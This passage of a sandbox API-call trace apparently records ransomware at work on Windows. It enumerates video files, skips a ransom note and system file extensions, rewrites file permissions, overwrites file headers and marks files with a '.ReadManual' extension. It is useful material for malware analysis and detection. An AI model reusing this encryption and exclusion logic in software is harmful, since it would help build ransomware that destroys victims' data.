dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.309] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=25998) returned 1 [0258.309] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x658e, lpName=0x0) returned 0x1a0 [0258.309] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xba) returned 1 [0258.319] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.319] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.320] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.320] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x658e) returned 0x2f0000 [0258.321] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.321] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37898966701) returned 1 [0258.321] CloseHandle (hObject=0x1a0) returned 1 [0258.321] SetSecurityInfo () returned 0x5 [0258.321] SetSecurityInfo () returned 0x5 [0258.321] LocalFree (hMem=0x674d38) returned 0x0 [0258.321] CloseHandle (hObject=0x184) returned 1 [0258.321] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7258522e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7258522e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x321a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TravelIntroToMain.wmv", cAlternateFileName="")) returned 1 [0258.321] lstrcpyW (in: lpString1=0x6ab90a, lpString2="TravelIntroToMain.wmv" | out: lpString1="TravelIntroToMain.wmv") returned="TravelIntroToMain.wmv" [0258.321] lstrcmpiW (lpString1="TravelIntroToMain.wmv", lpString2="RecoveryManual.html") returned 1 [0258.321] StrStrIW (lpFirst="TravelIntroToMain.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.321] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0258.321] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0258.321] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0258.321] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0258.321] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0258.322] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0258.322] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0258.322] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0258.322] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0258.322] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0258.322] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0258.322] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0258.322] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0258.322] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0258.322] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" [0258.322] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv.ReadManual.5A595725" [0258.322] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv.ReadManual.5A595725") returned 96 [0258.322] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37899065707) returned 1 [0258.322] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv")) returned 0x20 [0258.322] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.322] GetLastError () returned 0x5 [0258.322] GetNamedSecurityInfoW () returned 0x0 [0258.322] SetNamedSecurityInfoW () returned 0x0 [0258.323] SetNamedSecurityInfoW () returned 0x0 [0258.323] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.324] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=205220) returned 1 [0258.324] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x321a4, lpName=0x0) returned 0x1a0 [0258.324] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0258.324] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.324] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.326] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.326] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x321a4) returned 0x2690000 [0258.345] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0258.346] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37901522990) returned 1 [0258.347] CloseHandle (hObject=0x1a0) returned 1 [0258.347] SetSecurityInfo () returned 0x5 [0258.347] SetSecurityInfo () returned 0x5 [0258.347] LocalFree (hMem=0x674d38) returned 0x0 [0258.347] CloseHandle (hObject=0x184) returned 1 [0258.347] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725d14e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725d14e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TravelIntroToMainMask.wmv", cAlternateFileName="")) returned 1 [0258.347] lstrcpyW (in: lpString1=0x6ab90a, lpString2="TravelIntroToMainMask.wmv" | out: lpString1="TravelIntroToMainMask.wmv") returned="TravelIntroToMainMask.wmv" [0258.347] lstrcmpiW (lpString1="TravelIntroToMainMask.wmv", lpString2="RecoveryManual.html") returned 1 [0258.347] StrStrIW (lpFirst="TravelIntroToMainMask.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.347] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0258.347] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0258.347] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0258.347] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0258.347] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0258.347] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0258.347] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0258.347] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0258.347] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0258.347] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0258.347] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0258.347] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0258.347] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0258.347] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0258.347] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" [0258.347] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv.ReadManual.5A595725" [0258.347] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv.ReadManual.5A595725") returned 100 [0258.347] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37901624180) returned 1 [0258.348] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv")) returned 0x20 [0258.348] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.348] GetLastError () returned 0x5 [0258.348] GetNamedSecurityInfoW () returned 0x0 [0258.348] SetNamedSecurityInfoW () returned 0x0 [0258.348] SetNamedSecurityInfoW () returned 0x0 [0258.349] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.349] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=61220) returned 1 [0258.349] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xef24, lpName=0x0) returned 0x1a0 [0258.349] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd8) returned 1 [0258.350] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.350] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.352] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.352] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xef24) returned 0x2f0000 [0258.353] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.354] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37902251507) returned 1 [0258.354] CloseHandle (hObject=0x1a0) returned 1 [0258.354] SetSecurityInfo () returned 0x5 [0258.354] SetSecurityInfo () returned 0x5 [0258.354] LocalFree (hMem=0x674d38) returned 0x0 [0258.354] CloseHandle (hObject=0x184) returned 1 [0258.354] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TravelIntroToMainMask_PAL.wmv", cAlternateFileName="")) returned 1 [0258.354] lstrcpyW (in: lpString1=0x6ab90a, lpString2="TravelIntroToMainMask_PAL.wmv" | out: lpString1="TravelIntroToMainMask_PAL.wmv") returned="TravelIntroToMainMask_PAL.wmv" [0258.354] lstrcmpiW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2="RecoveryManual.html") returned 1 [0258.354] StrStrIW (lpFirst="TravelIntroToMainMask_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.354] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0258.354] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0258.354] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0258.354] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0258.354] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0258.354] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0258.354] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0258.354] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0258.355] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0258.355] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0258.355] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0258.355] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0258.355] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0258.355] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0258.355] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" [0258.355] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv.ReadManual.5A595725" [0258.355] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv.ReadManual.5A595725") returned 104 [0258.355] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37902352541) returned 1 [0258.355] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv")) returned 0x20 [0258.355] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.355] GetLastError () returned 0x5 [0258.355] GetNamedSecurityInfoW () returned 0x0 [0258.355] SetNamedSecurityInfoW () returned 0x0 [0258.356] SetNamedSecurityInfoW () returned 0x0 [0258.356] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.357] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=61220) returned 1 [0258.357] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xef24, lpName=0x0) returned 0x1a0 [0258.357] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe0) returned 1 [0258.357] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.357] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.359] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.359] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xef24) returned 0x2f0000 [0258.361] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.361] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37902978523) returned 1 [0258.361] CloseHandle (hObject=0x1a0) returned 1 [0258.361] SetSecurityInfo () returned 0x5 [0258.361] SetSecurityInfo () returned 0x5 [0258.361] LocalFree (hMem=0x674d38) returned 0x0 [0258.361] CloseHandle (hObject=0x184) returned 1 [0258.361] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 1 [0258.361] lstrcpyW (in: lpString1=0x6ab90a, lpString2="TravelIntroToMain_PAL.wmv" | out: lpString1="TravelIntroToMain_PAL.wmv") returned="TravelIntroToMain_PAL.wmv" [0258.361] lstrcmpiW (lpString1="TravelIntroToMain_PAL.wmv", lpString2="RecoveryManual.html") returned 1 [0258.361] StrStrIW (lpFirst="TravelIntroToMain_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.362] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0258.362] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0258.362] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0258.362] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0258.362] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0258.362] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0258.362] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0258.362] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0258.362] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0258.362] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0258.362] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0258.362] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0258.362] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0258.362] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0258.362] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" [0258.362] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv.ReadManual.5A595725" [0258.362] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv.ReadManual.5A595725") returned 100 [0258.362] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37903074920) returned 1 [0258.362] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv")) returned 0x20 [0258.364] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.364] GetLastError () returned 0x5 [0258.364] GetNamedSecurityInfoW () returned 0x0 [0258.364] SetNamedSecurityInfoW () returned 0x0 [0258.364] SetNamedSecurityInfoW () returned 0x0 [0258.365] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.365] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=229220) returned 1 [0258.365] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x37f64, lpName=0x0) returned 0x1a0 [0258.365] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd8) returned 1 [0258.366] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.366] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.367] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.368] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x37f64) returned 0x2690000 [0258.375] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0258.376] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37904456845) returned 1 [0258.376] CloseHandle (hObject=0x1a0) returned 1 [0258.376] SetSecurityInfo () returned 0x5 [0258.376] SetSecurityInfo () returned 0x5 [0258.376] LocalFree (hMem=0x674d38) returned 0x0 [0258.376] CloseHandle (hObject=0x184) returned 1 [0258.376] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 0 [0258.376] FindClose (in: hFindFile=0x6bff40 | out: hFindFile=0x6bff40) returned 1 [0258.376] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VideoWall", cAlternateFileName="VIDEOW~1")) returned 1 [0258.376] lstrcpyW (in: 